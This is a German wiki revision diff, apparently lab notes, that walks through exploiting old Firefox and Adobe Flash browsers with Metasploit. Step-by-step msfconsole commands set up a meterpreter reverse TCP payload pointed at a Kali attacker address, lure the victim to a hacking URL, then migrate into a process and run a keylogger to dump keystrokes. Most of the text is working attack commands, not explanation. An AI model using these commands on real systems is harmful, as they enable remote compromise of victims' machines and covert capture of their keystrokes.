Metasploit: Unterschied zwischen den Versionen

Aus xinux.net
Zur Navigation springen Zur Suche springen
Zeile 1: Zeile 1:
 +
[[metasploit browser Exlpoit]]
 +
[[metasploit & armitage trojaner]]
 +
[[metasploit & armitage keyloger]]
 +
  
 
=Links=
 
=Links=
Zeile 7: Zeile 11:
 
*http://www.admin-magazin.de/Das-Heft/2009/01/Security-Auditing-mit-Metasploit/%28language%29/ger-DE
 
*http://www.admin-magazin.de/Das-Heft/2009/01/Security-Auditing-mit-Metasploit/%28language%29/ger-DE
 
*http://www.metasploit.com/
 
*http://www.metasploit.com/
=Setup Opfer=
 
Winxp Service pack 3
 
Firefox 3.5
 
 
=Setup Hacker=
 
Kali Linux
 
ip: 192.168.242.53
 
 
=vorgehen=
 
starte metasploit
 
msfconsole
 
 
use exploit/multi/browser/firefox_escape_retval
 
set payload windows/meterpreter/reverse_tcp
 
set lhost 192.168.242.53 (lokaler Host)
 
set svrhost 192.168.242.53 (HTTP-Server IP)
 
set svrport 8888 (HTTP-Server Port)
 
set lport 4444 (lokaler Port)
 
set uripath /hack (optional)
 
exploit
 
 
jetzt muss das opfer mit dem fierfox diese url aufrufen http://192.168.242.53:8888/hack
 
wenn wir meterpreter > sehen hat der exploit funktioniert
 
 
session - i 1 (in die session gehen)
 
sessions -h (zeigt optionen)
 
ps (zeigt prozesse)
 
migrate PSID (verschiebt in den prozess Z.b explorer.exe)
 
getpid (zeigt momentanen prozess)
 
keyscan_start (startet den keyloger)
 
keyscan_dump (zeigt aufzeichnungen)
 
keyscan_stop (stopt keyloger)
 
 
=Win7 32bit Exploit=
 
http://high54security.blogspot.de/2015/05/exploiting-flash-1700134-using.html
 
 
 
* Setup Opfer
 
 
win732 bit
 
 
adobeflash 17.0.0.134
 
 
firefox
 
 
TeamViewer ID 597 708 786
 
 
==Hackersystem==
 
kali linux
 
 
ip 192.168.244.50
 
 
===auf der konsole===
 
metasploit konsole starten
 
*msfconsole
 
auswahl des exploits
 
*use exploit/windows/browser/adobe_flash_domain_memory_uaf
 
auswahl der schadsoftware
 
*set payload windows/meterpreter/reverse_tcp
 
setzen des localhost
 
*set lhost 192.168.244.50
 
setzen des webservers
 
*set srvhost 192.168.244.50
 
pfad zum hack
 
*set uripath /hack
 
ausführen des exploits
 
*exploit
 
 
=auf dem opfer=
 
*gehen mit win7 auf http://192.168.244.150:8080/hack
 
=auf dem hackersystem=
 
==commandos==
 
sessions -l (listet die sessions)
 
sessions -i 1 (in die session gehen)
 
sessions -h (zeigt optionen)
 
ps (zeigt prozesse)
 
migrate PSID (verschiebt in den prozess Z.b explorer.exe)
 
getpid (zeigt momentanen prozess)
 
keyscan_start (startet den keyloger)
 
keyscan_dump (zeigt aufzeichnungen)
 
keyscan_stop (stopt keyloger)
 
 
==vorgehnsweise==
 
session betreten
 
*msf exploit(adobe_flash_domain_memory_uaf) > sessions -i 1
 
ps listing
 
*meterpreter > ps
 

Version vom 23. August 2016, 13:07 Uhr